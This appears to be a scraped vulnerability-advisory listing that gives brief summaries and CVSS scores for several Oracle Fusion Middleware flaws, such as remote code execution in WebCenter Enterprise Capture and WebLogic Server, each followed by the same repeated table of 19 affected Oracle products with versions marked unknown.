vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to unauthorizedly manipulate sensitive data and potentially cause partial denial of service, rated CVSS 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with network access to create, delete, or modify critical data, impacting confidentiality and integrity with a CVSS score of 8.0.
8.0 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the server via RMI, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability (CVSS 8.7) in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged attackers with network access and user interaction to create, delete, or modify critical data unauthorizedly.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
